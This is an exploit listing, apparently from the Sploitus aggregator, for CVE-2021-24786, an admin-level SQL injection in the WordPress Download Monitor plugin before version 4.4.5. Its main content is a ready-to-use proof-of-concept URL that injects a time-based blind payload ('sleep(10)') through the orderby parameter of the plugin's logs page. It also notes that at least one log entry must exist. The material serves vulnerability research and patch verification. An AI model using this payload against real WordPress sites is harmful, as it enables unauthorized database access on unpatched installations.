Sploitus

Exploit for Download Monitor < 4.4.5 - Admin+ SQL Injection

CVE-2021-24786

wpexploit · 2021-10-20

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:A6571F16-66D2-449E-AF83-1C6DDD56EDFA
(There need to be at least one log for the payload to trigger)

https://example.com/wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date%60+and+%28select+%28sleep%2810%29%29%29+and+%60user_id